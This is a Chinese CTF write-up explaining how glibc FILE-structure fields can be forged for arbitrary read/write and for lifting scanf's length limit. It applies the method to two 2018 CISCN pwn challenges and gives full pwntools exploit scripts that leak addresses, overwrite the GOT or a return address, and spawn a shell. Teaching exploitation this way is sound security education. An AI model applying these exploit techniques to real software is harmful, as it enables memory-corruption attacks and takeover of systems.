IO FILE之任意读写和scanf的限制绕过-安全客

本文将简单介绍一下scanf的长度绕过和由fwrite、fread实现的任意读写，然后用两个ctf例题（2018年的两道国赛题 echo_back 和 magic）来加深理解。

本文中write_s,write_e,read_s,read_e分别表示开始写入的开始结束地址、读取的开始结束地址。

fread 之 stdin任意写

网上介绍fread源码分析的文章很多，所以本文就不着重分析他的详细流程了。

首先先介绍一下file结构(FILE在Linux系统的标准IO库中是用于描述文件的结构，称为文件流。 FILE结构在程序执行fopen等函数时会进行创建，并分配在堆中。我们常定义一个指向FILE结构的指针来接收这个返回值。)

FILE结构定义在libio.h中

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

先着重介绍其中要用到的指针：

_IO_buf_base：输入（出）缓冲区的基地址，_IO_file_xsgetn函数会通过它来判断输入缓冲区是否为空，为空则会调用_IO_doallocbuf函数来进行初始化。
_IO_buf_end：输入（出）缓冲区的结束地址。
_IO_read_ptr：指向当前要写入的地址。
_IO_read_end：一般和_IO_read_ptr共同使用，_IO_read_end-_IO_read_ptr表示可用的输入缓冲区大小。

接下来是实现任意写的过程：

在_IO_file_xsgetn中：

if (fp->_IO_buf_base == NULL)
会判断输入缓冲区是否为空，为空则调用_IO_doallocbuf。
我们是不希望他初始化缓冲区的，所以要构造fp->_IO_buf_base != NULL

have = fp->_IO_read_end - fp->_IO_read_ptr;

      if (have > 0) 
      {
          将输入缓冲区中的内容拷贝至目标地址。
      }

这里我们要实现任意写，就不能满足这个条件，一般构造_IO_read_end ==_IO_read_ptr，这样的话缓冲区就满足不了当前的需求，就会接着调用__underflow

__underflow（_IO_new_file_underflow）中有两个判断需要绕过：

1、

if (fp->_flags & _IO_NO_READS)

满足的话就会直接返回；所以这里要保证_flag位中不能有四。

2、

if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

这里满足的话也会直接返回，所以我们一般构造_IO_read_end ==_IO_read_ptr。

因为最终调用的是read (fp->_fileno, buf, size))，所以我们还要构造
fp->_fileno为0。

小结一下：

设置_IO_buf_base为write_s，_IO_buf_end为write_end（_IO_buf_end-_IO_buf_base要大于0）
flag位不能含有4（_IO_NO_READS），_fileno要为0。（最好就直接使用原本的flag）
设置_IO_read_end等于_IO_read_ptr。

_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针，将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。

这个内容后面的题目magic要用到，先在这里提一下。

  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
           fp->_IO_buf_end - fp->_IO_buf_base);

scanf 的长度修改：

scanf是调用stdin中的_IO_new_file_underflow去调用read的（和fread相同）。

这里依旧是上面的那几个关键代码：

一：·········································
if (fp->_IO_read_ptr < fp->_IO_read_end)  
    return *(unsigned char *) fp->_IO_read_ptr;  

二：·········································
count = _IO_SYSREAD (fp, fp->_IO_buf_base,  fp->_IO_buf_end - fp->_IO_buf_base);  

三：·········································
fp->_IO_read_end += count;

我们可以知道它是向fp->_IO_buf_base处写入（fp->_IO_buf_end – fp->_IO_buf_base）长度的数据。

只要我们可以修改_IO_buf_base和_IO_buf_end就可以实现任意位置任意长度的数据写入。

第三部分我们放到题目each_back中来分析。

fwrite 之 stdout任意读写

因为stdout会将缓冲区中的数据输出出来，所以就具有了stdin没有的任意读功能。

首先说一下涉及到的指针：

_IO_write_base：输出缓冲区基址。
_IO_write_end：输出缓冲区结束地址。
_IO_write_ptr：_IO_write_ptr和_IO_write_base之间的地址为已使用的缓冲区，_IO_write_ptr和_IO_write_end之间为未使用的缓冲区。
_IO_buf_base：输入（出）缓冲区的基地址。
_IO_buf_end：输入（出）缓冲区的结束地址。

任意写：

else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
    把数据拷贝到缓冲区。
}
他的任意写是基于_IO_new_file_xsputn中将数据复制到缓冲区这一功能能实现的。

所以我们只要构造_IO_write_ptr为write_s，_IO_write_end为write_e，自然就满足了if的条件，这样就达到了任意写的目的。

任意读：

简单写一下fwrite的关键流程：

_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>
_IO_do_write

else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
    把数据拷贝到缓冲区。
}
if (to_do + must_flush > 0)
    {
      if (_IO_OVERFLOW (f, EOF) == EOF)


这里不同于上面的任意读，我们不希望他将数据拷贝到缓冲区中，这里一般构造f->_IO_write_end = f->_IO_write_ptr。
之后就会去调用_IO_OVERFLOW（_IO_new_file_overflow）

_IO_new_file_overflow中有两个对flag位的检查

if (f->_flags & _IO_NO_WRITES)
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

所以flag位要不包含8和0x800

接下来就会调用：
if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  return (unsigned char) ch;

其中_IO_do_write函数的作用是输出缓冲区，我们这里要构造_IO_write_base为read_s，构造_IO_write_ptr为read_e。

在_IO_do_write中还有几个判断需要绕过：

if (fp->_flags & _IO_IS_APPENDING)

else if (fp->_IO_read_end != fp->_IO_write_base)

flag位不能包含 0x1000（_IO_IS_APPENDING），并且要构造fp->_IO_read_end = fp->_IO_write_base。

最后构造f->_fileno为1。

小结：

flag位：不能包含0x8、0x800、0x1000（最好就直接使用原本的flag）
构造_fileno为1
构造_IO_write_base=read_s，_IO_write_ptr=read_e。

例题：

2018 ciscn magic：

首先查看一下保护：

没有开启pie保护，Partial RELRO意味着我们可以修改函数got表。

放入ida种简单查看一下：

是个菜单题,上面只给出了三个功能，但是序号很蹊跷，正好跳过了3，我们通过阅读代码可以知道它是有3这个隐藏功能的，但因为解题过程中没有用到，就不说他了。

这道题的关键点在于功能二的以下部分中：

首先看一下write_spell和read_spell函数：

我们发现这两个函数调用了fwrite和fread函数，并且使用了自己创建的file结构。

而且fread函数后面还跟着一个write函数，结合上面提到的：

have = fp->_IO_read_end - fp->_IO_read_ptr;

      if (have > 0) 
      {
          将输入缓冲区中的内容拷贝至目标地址。
      }

这里的目标地址，就是write函数要输出内容所在的地址，也就是说如果我们能控制log_file结构，就可以利用read_spell函数来泄漏libc基址以及heap的基址。

那么要如何做到控制log_file呢：

我们看到最下面有一个 *（v3 + 0x28）-=50ll，那么我们看一下v3是什么：

这里是存在数组下标越界的

而指向log_file的指针正好位于数组的上方，所以我们让v2为-2的话，*（v3 + 0x28）-=50ll 就会修改的是log_file中的_IO_write_ptr。那么我们就要利用它来修改_IO_write_ptr。

这里要注意每次fwrite后会将输出的长度加到_IO_write_ptr上，修改的时候一定要注意。
*f->_IO_write_ptr++ = ch;

通过调试可以知道log_file结构位于我们create的堆地址上方。

    for i in range(12):
        spell(p, -2, 'x00')  
    spell(p, -2, 'x00' * 13)
    spell(p, -2, 'x00' * 9)

可以看到此时已经将_IO_write_ptr修改为log_file结构内部的地址。

    spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8))
    spell(p, 0, p64(puts_got) + p64(puts_got + 0x100))

    libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest

利用上文说到的方法就可以泄漏出libc基址。

但是我们还需要heap基址用于got表修改，所以需要再泄漏一个地址，所以我们要使_IO_write_ptr指向泄漏libc之前的位置。

spell(p, -2, p64(0) + p64(0))

这样之后就可以用相同的方法再泄漏heap的基址：

    spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8))
    spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0))
    heap_addr = u64(p.recvn(8)) - 0x10

接下来是修改got表部分：

spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))
spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))

在泄漏完heap基址后，log_file结构如下：

可以看到_IO_write_ptr为0x2042030，这样的话我们去执行上面脚本的第一行，因为输出的长度为0x18，这样修改的话就会变成下图这样：

这样的话，就符合了我们上面说的任意写的条件，接下来就可以去修改_IO_buf_baseh和_IO_buf_end。（也就是第二行代码）。

我在上文提到了：

_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针，将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。

所以我们在执行完上面两行代码后_IO_write_ptr就会指向0x602122（它位于fwrite函数got表的下方）

接下来我们就要调整IO_write_ptr的值来修改got表。

    spell(p, -2, 'x00')
    spell(p, -2, 'x01')
    spell(p, -2, 'x00')
    spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6])
    spell(p, 0, '/bin/sh')

这里有一点需要注意，就是spell(p, -2, ‘x01’)，这里必须要大于0，因为：

这里如果满足不了第一个if，就会跳转到muggle那部分。

完整的exp：

# coding:utf-8
from pwn import *
context(arch = 'amd64', os = 'linux')
context.log_level = 'debug'
debug=1

ip='111.198.29.45'
port='31577'
if debug == 1:
   p = process('./magic')
else:
   p = remote(ip, port)

puts_offest = 0x6f690
system_offest = 0x45390
puts_got = 0x602020
fwrite_got = 0x602090
log_addr = 0x6020E0
def debug():
    gdb.attach(p)
    pause()
def create(p, name):
    p.recvuntil('choice>> ')
    p.sendline('1')
    p.recvuntil('name:')
    p.send(name)

def spell(p, index, data):
    p.recvuntil('choice>> ')
    p.sendline('2')
    p.recvuntil('spell:')
    p.sendline(str(index))
    p.recvuntil('name:')
    p.send(data)

def final(p, index):
    p.recvuntil('choice>> ')
    p.sendline('3')
    p.recvuntil('chance:')
    p.sendline(str(index))

def pwn():
    create(p, 'sss')
    spell(p, 0, 'yyyyy')

    for i in range(12):
        spell(p, -2, 'x00')  
    spell(p, -2, 'x00' * 13)
    spell(p, -2, 'x00' * 9)
    #debug()

    spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8))
    spell(p, 0, p64(puts_got) + p64(puts_got + 0x100))

    libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest
    log.info('libc addr is : ' + hex(libc_addr))
    #debug()
    spell(p, -2, p64(0) + p64(0))
    spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8))
    spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0))
    heap_addr = u64(p.recvn(8)) - 0x10
    log.info('heap addr is : ' + hex(heap_addr))
    debug()
    spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))
    #debug()
    spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))
    spell(p, -2, 'x00')
    spell(p, -2, 'x01')
    spell(p, -2, 'x00')
    spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6])
    spell(p, 0, '/bin/sh')
    p.interactive()

if __name__ == '__main__':
    pwn()

2018 ciscn each_back

日常检查，保护全家桶。

这道题的格式化字符串漏洞很明显

因为它开启了pie，所以我们最开始的思路就是要泄漏出一些我们需要的地址。

首先查看stack，寻找一些有用的信息：

这里我标出了三个内容（计算偏移时不要忘了这是64位程序，前六个参数保存在寄存器里）：

1.main函数的ebp

2.函数的返回地址，它对应main函数中的地址，所以我们可以借此获得程序的基地址（elf_ddr）

3.可以得到libc基址

printf函数返回地址的求法：

因为main函数里并没有修改rbp、rsp，所以这里printf函数的返回地址为main函数的rsp（也就是我们这里泄漏出的ebp） -0x28。

今天的重头戏来了：

他限制了我们输入的长度不能超过7，我们要想修改函数返回地址，payload不可能比7字节短，所以我们这里要找其他输入payload的方式，这里我们盯上了scanf函数。

我们就用上文提到的方法来修改scanf可输入的长度：

payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)
p.send(payload)

这里就有一点需要注意了，上文我留下的第三部分，就是：

fp->_IO_read_end += count;

我们在修改完长度之后,_IO_read_end就会加上我们payload长度的大小，这样就会导致后面输入payload来修改返回地址时，fp->_IO_read_ptr < fp->_IO_read_end的条件无法实现，所以我们这里利用getchar函数（每次会使_IO_read_ptr+1）来让这个条件满足：

for i in range(len(payload)-1):
    p.recvuntil('choice>>')
    p.sendline('2') 
    p.recvuntil('length:')
    p.sendline('')

这里主要说一下scanf的利用，关于格式化字符串的内容就不过多的叙述。

完整exp：

#coding:utf-8
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('./echo_back')

if debug:
     p = process('./echo_back')
     libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
     context.log_level = 'debug'

else:
     p = remote('', xxxx)
     libc = ELF('./libc.so.6')
def dubug():
    gdb.attach(p)
    pause()

def set_name(name):
    p.recvuntil('choice>>')
    p.sendline('1')
    p.recvuntil('name')
    p.send(name)

def echo(content):
    p.recvuntil('choice>>')
    p.sendline('2') 
    p.recvuntil('length:')
    p.sendline('-1')
    p.send(content)
#----------------------------stack----------------------------------------------
echo('%12$pn')
p.recvuntil('anonymous say:')
stack_addr = int(p.recvline()[:-1],16)
#----------------------------elf---------------------------------------------
echo('%13$pn')
p.recvuntil('anonymous say:')
pie = int(p.recvline()[:-1],16)-0xd08
#----------------------------libc---------------------------------------------
echo('%19$pn')
p.recvuntil('anonymous say:')
libc.address = int(p.recvline()[:-1],16)-240-libc.symbols['__libc_start_main']
print '[+] system :',hex(libc.symbols['system'])
set_name(p64(libc.address + 0x3c4918)[:-1])
echo('%16$hhn')
p.recvuntil('choice>>')
p.sendline('2') 
p.recvuntil('length:')
payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)
p.send(payload)
p.sendline('')
for i in range(len(payload)-1):
    p.recvuntil('choice>>')
    p.sendline('2') 
    p.recvuntil('length:')
    p.sendline('')

p.recvuntil('choice>>')
p.sendline('2') 
p.recvuntil('length:')
payload = p64(pie+0xd93)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system'])
p.sendline(payload)
p.sendline('')
p.interactive()

参考资料：

https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write

https://wiki.x10sec.org/pwn/io_file/introduction/